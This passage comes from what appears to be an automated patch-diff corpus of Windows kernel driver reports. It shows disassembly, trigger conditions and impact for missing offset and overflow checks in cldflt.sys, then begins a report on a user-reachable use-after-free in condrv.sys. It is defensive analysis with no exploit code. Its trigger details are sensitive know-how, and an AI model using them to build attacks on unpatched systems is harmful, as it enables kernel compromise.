&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062489&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFFFFFFFFFFh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006248D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0062520&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062493&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062496&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00624AA&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062498&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFFFFFFFFFh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00624A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00624A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00624A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0062520&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00624AA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000CF0Bh&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; reject&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;0x1C0062258&lt;/code&gt;) - the feature call is gone and the check runs first:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062477&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006247A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C006249D&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006247C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFFFFFFFFFFh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062480&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0062513&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062486&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062489&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C006249D&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006248B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFFFFFFFFFh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062495&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0062498&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006249B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jle&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0062513&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C006249D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;C000CF0Bh&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; reject&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The WPP error-branch callees relocated (&lt;code&gt;WPP_SF_qiiDiid&lt;/code&gt;/&lt;code&gt;WPP_SF_qiiDqDd&lt;/code&gt; moved from &lt;code&gt;0x1C0009D20&lt;/code&gt;/&lt;code&gt;0x1C0009DCC&lt;/code&gt; to &lt;code&gt;0x1C0009CCC&lt;/code&gt;/&lt;code&gt;0x1C0009D78&lt;/code&gt;) purely because the two feature-predicate functions were removed from the binary; this is address churn, not a behavioral change.&lt;/p&gt;
&lt;h3&gt;Finding C - &lt;code&gt;HsmiOpUpdatePlaceholderFile&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Unpatched (&lt;code&gt;0x1C007BD14&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C8E7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C8EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C8EE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C007C8F9&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; feature not enabled -&amp;gt; skip r12 check&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C8F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C8F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007C98F&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; offset &amp;lt; 0 -&amp;gt; reject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C8F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; ... r8 = r12 (offset); edx = 4244h; call HsmiMarkFileRangeNoLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;0x1C007BCA4&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C877&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; sign check always runs&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C87A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007CAE8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007C880&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; ... r8 = r12; edx = 4244h; call HsmiMarkFileRangeNoLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding A&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;cldflt.sys&lt;/code&gt; loaded and active on a volume backing cloud-synced files. Confirm with &lt;code&gt;fltmc filters&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A caller able to send the HSM dehydrate control (&lt;code&gt;IRP_MJ_FILE_SYSTEM_CONTROL&lt;/code&gt;, control code &lt;code&gt;0x9043C&lt;/code&gt;) for a cloud-backed placeholder file.&lt;/li&gt;
&lt;li&gt;The dehydrate request specifies a range whose start offset (&lt;code&gt;Parameters + 0x10&lt;/code&gt;), interpreted as signed &lt;code&gt;int64&lt;/code&gt;, is negative or exceeds the stream size.&lt;/li&gt;
&lt;li&gt;The feature &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue&lt;/code&gt; is not enabled, so &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/code&gt; returns 0 and the strict &lt;code&gt;v79 &amp;lt; 0 || v79 &amp;gt; v32&lt;/code&gt; check is skipped; the fallthrough &lt;code&gt;v79 &amp;gt; v32&lt;/code&gt; does not catch a negative offset.&lt;/li&gt;
&lt;li&gt;Observable effect on the unpatched build: the unvalidated offset reaches &lt;code&gt;HsmiMarkFileRangeNoLock&lt;/code&gt; (internal range bookkeeping) and the &lt;code&gt;FSCTL_SET_ZERO_DATA&lt;/code&gt; request. This is a missing-validation defect; a memory-corruption outcome is not demonstrable from the binaries and the underlying file system independently validates the &lt;code&gt;SET_ZERO_DATA&lt;/code&gt; range.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding B&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;A client connected to the cloud-files communication port.&lt;/li&gt;
&lt;li&gt;A transfer message with code &lt;code&gt;0x101&lt;/code&gt;–&lt;code&gt;0x106&lt;/code&gt; whose parsed values &lt;code&gt;v16&lt;/code&gt; (offset) and &lt;code&gt;v26&lt;/code&gt; (length) sum past &lt;code&gt;0x7FFFFFFFFFFFFFFF&lt;/code&gt;, or where &lt;code&gt;v16&lt;/code&gt;/&lt;code&gt;v26&lt;/code&gt; is negative.&lt;/li&gt;
&lt;li&gt;Feature not enabled, so the sign+overflow reject branch is skipped and the values reach the transfer handler unchecked.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding C&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;A placeholder-update operation whose range list yields a computed aligned offset &lt;code&gt;v64&lt;/code&gt; that is negative.&lt;/li&gt;
&lt;li&gt;Feature not enabled, so the &lt;code&gt;v64 &amp;lt; 0&lt;/code&gt; check is skipped and &lt;code&gt;v64&lt;/code&gt; reaches &lt;code&gt;HsmiMarkFileRangeNoLock&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;No race conditions are involved; these are straight-line validation gaps.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Impact Assessment&lt;/h2&gt;
&lt;p&gt;The delivered change is input-validation hardening on kernel file-range values reached from the cloud-files control and communication-port paths. Concretely:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding A:&lt;/strong&gt; an unvalidated negative/oversized dehydration offset reaches internal file-range bookkeeping (&lt;code&gt;HsmiMarkFileRangeNoLock&lt;/code&gt;) and a &lt;code&gt;FSCTL_SET_ZERO_DATA&lt;/code&gt; request. The value is a file offset/length, not a kernel address, and is not dereferenced as a pointer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding B:&lt;/strong&gt; an unvalidated size/offset pair with no overflow check reaches the &lt;code&gt;0x101&lt;/code&gt;–&lt;code&gt;0x106&lt;/code&gt; transfer handlers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding C:&lt;/strong&gt; an unvalidated negative computed offset reaches &lt;code&gt;HsmiMarkFileRangeNoLock&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No exploit primitive (out-of-bounds read/write of kernel memory, controlled pointer, info-leak, or pool-corruption chain) is demonstrable from these two builds. The realistic worst case is inconsistent internal range state or a failed/oddly-scoped file operation rather than a proven memory-safety violation. Severity is therefore Medium for A and B (attacker-influenced values on kernel control paths, missing sign/bounds/overflow checks) and Low for C (negative result is an edge case of a page-aligned computation).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Verification Notes&lt;/h2&gt;
&lt;p&gt;For anyone reproducing this against the two binaries:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Confirm &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage&lt;/code&gt; exists at &lt;code&gt;0x1C00097F8&lt;/code&gt; in &lt;code&gt;cldflt_unpatched.sys&lt;/code&gt; and is absent from &lt;code&gt;cldflt_patched.sys&lt;/code&gt; (its slot at &lt;code&gt;0x1C00097F8&lt;/code&gt; holds &lt;code&gt;RtlStringCchPrintfW&lt;/code&gt; in the patched build).&lt;/li&gt;
&lt;li&gt;Finding A: at &lt;code&gt;0x1C007A831&lt;/code&gt; (feature call) → &lt;code&gt;0x1C007A838&lt;/code&gt; (&lt;code&gt;jz 0x1C007A897&lt;/code&gt;), the strict check at &lt;code&gt;0x1C007A83A&lt;/code&gt;–&lt;code&gt;0x1C007A846&lt;/code&gt; is bypassed when the feature is not enabled; the fallthrough at &lt;code&gt;0x1C007A897&lt;/code&gt;–&lt;code&gt;0x1C007A89B&lt;/code&gt; compares against the stream size only. The checked offset is loaded at &lt;code&gt;0x1C007A2FB&lt;/code&gt; from &lt;code&gt;Parameters + 0x10&lt;/code&gt;. In the patched build the unconditional check is at &lt;code&gt;0x1C007A824&lt;/code&gt;–&lt;code&gt;0x1C007A830&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Finding B: at &lt;code&gt;0x1C0062477&lt;/code&gt; (feature call) → &lt;code&gt;0x1C006247E&lt;/code&gt; (&lt;code&gt;jz 0x1C0062520&lt;/code&gt;), the sign+overflow check at &lt;code&gt;0x1C0062484&lt;/code&gt;–&lt;code&gt;0x1C00624A8&lt;/code&gt; is bypassed when the feature is not enabled. In the patched build the check runs first at &lt;code&gt;0x1C0062477&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Finding C: at &lt;code&gt;0x1C007C8E7&lt;/code&gt; (feature call) → &lt;code&gt;0x1C007C8EE&lt;/code&gt; (&lt;code&gt;jz 0x1C007C8F9&lt;/code&gt;), the &lt;code&gt;test r12,r12; js&lt;/code&gt; check at &lt;code&gt;0x1C007C8F0&lt;/code&gt; is bypassed when the feature is not enabled. In the patched build the check runs unconditionally at &lt;code&gt;0x1C007C877&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The dehydrate range offset for Finding A originates in the HSM control message parsed by &lt;code&gt;HsmFltProcessHSMControl (0x1C002FE70)&lt;/code&gt; and carried into &lt;code&gt;HsmFltProcessDehydrate (0x1C0078674)&lt;/code&gt;; the offset/length for Finding B come from the transfer message parsed in &lt;code&gt;CldiPortProcessTransfer&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions - Full Triage&lt;/h2&gt;
&lt;p&gt;Only three functions changed; all three are the same feature-gated-validation fix.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function&lt;/th&gt;
&lt;th&gt;Similarity&lt;/th&gt;
&lt;th&gt;Change type&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HsmiOpDehydrateNotificationCallback (0x1C007A2A0)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9642&lt;/td&gt;
&lt;td&gt;security_relevant&lt;/td&gt;
&lt;td&gt;Removed the &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage()&lt;/code&gt; gate around the sign/bounds check on the dehydration range offset (&lt;code&gt;Parameters + 0x10&lt;/code&gt;); &lt;code&gt;if (offset &amp;lt; 0 || offset &amp;gt; stream_size)&lt;/code&gt; is now unconditional.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CldiPortProcessTransfer (0x1C0062258)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9850&lt;/td&gt;
&lt;td&gt;security_relevant&lt;/td&gt;
&lt;td&gt;Removed the feature operand from the short-circuit AND on the reject branch; the sign+integer-overflow check on &lt;code&gt;v16&lt;/code&gt;/&lt;code&gt;v26&lt;/code&gt; from the transfer message now always runs. WPP error-branch callees relocated because the feature-predicate functions were removed (address churn only).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HsmiOpUpdatePlaceholderFile (0x1C007BD14)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.9889&lt;/td&gt;
&lt;td&gt;security_relevant&lt;/td&gt;
&lt;td&gt;Removed the feature operand from the short-circuit AND guarding &lt;code&gt;v64 &amp;lt; 0&lt;/code&gt;; the negative-offset check now always runs.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The feature predicate &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledDeviceUsage (0x1C00097F8)&lt;/code&gt; and its fallback &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue__private_IsEnabledFallback (0x1C0009830)&lt;/code&gt; are both removed from the patched build.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None added or removed by the diff. The patch is surgical within three existing functions (plus deletion of the two feature-predicate helpers).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High&lt;/strong&gt; on the mechanism and direction. In all three functions the unpatched build gates a sign/bounds/overflow check behind the feature predicate and the patched build removes the predicate and runs the check unconditionally, with no legacy branch retained - a delivered fix. The pseudocode and assembly addresses cited above are taken directly from the two builds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Caveats:&lt;/strong&gt;
- The default enabled/disabled state of &lt;code&gt;Feature_Servicing_PostRelOutlookHangIssue&lt;/code&gt; cannot be read from these binaries alone; the assessment assumes the guarded (strict) behavior was not universally active, which is consistent with the vendor converting it to unconditional.
- No memory-corruption or information-disclosure primitive is demonstrable from the two builds; the impact is rated on the missing validation of attacker-influenced kernel file-range values, not on any reconstructed exploit.
- The exact access required to reach the HSM dehydrate control (Finding A) and the cloud-files communication port (Finding B) is not established here and bounds real-world reachability.&lt;/p&gt;
&lt;p&gt;DONE&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>condrv.sys — Use-After-Free (CWE-416) due to premature object reference release in CdCreateDefaultObjectClient fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/condrv_98e27fa8-condrv-report-20260628-221048.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/condrv_98e27fa8-condrv-report-20260628-221048.html</id><summary type="html">&lt;p&gt;KB5078752&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;condrv_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;condrv_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9905&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;117&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;1 (&lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;116&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch relocates a single &lt;code&gt;ObfDereferenceObject(Object)&lt;/code&gt; call from immediately after a shared-pushlock release (0x1c000a274) to the end of every control-flow path (0x1c000a33a). That single move eliminates a kernel Use-After-Free on the console driver's connection object, which is reachable from user mode via &lt;code&gt;DeviceIoControl&lt;/code&gt; against &lt;code&gt;\Device\ConDrv&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Premature &lt;code&gt;ObfDereferenceObject&lt;/code&gt; → UAF in &lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Class:&lt;/strong&gt; CWE-416 Use-After-Free (kernel pool)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reach:&lt;/strong&gt; &lt;code&gt;\Device\ConDrv&lt;/code&gt; via &lt;code&gt;IRP_MJ_DEVICE_CONTROL&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root cause&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt; handles a console-connection / server-IO-completion IOCTL in &lt;code&gt;condrv.sys&lt;/code&gt;. It obtains a referenced pointer to a console &lt;em&gt;file object&lt;/em&gt; — call it &lt;code&gt;Object&lt;/code&gt; — either via a fast IRP-stack cached pointer, or via the slow path through &lt;code&gt;CdGetProcessConnection (sub_1c00098b0)&lt;/code&gt; (&lt;code&gt;ObReferenceObjectByHandle&lt;/code&gt; + &lt;code&gt;ObfReferenceObject&lt;/code&gt;). From &lt;code&gt;Object&lt;/code&gt; it derives two pointers it will reuse heavily:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rsi = *(Object + 0x18)&lt;/code&gt; — the connection data (lives in &lt;code&gt;FsContext2&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdi_1 = *(rsi + 0x18)&lt;/code&gt; — the server connection structure.&lt;/li&gt;
&lt;/ul&gt;
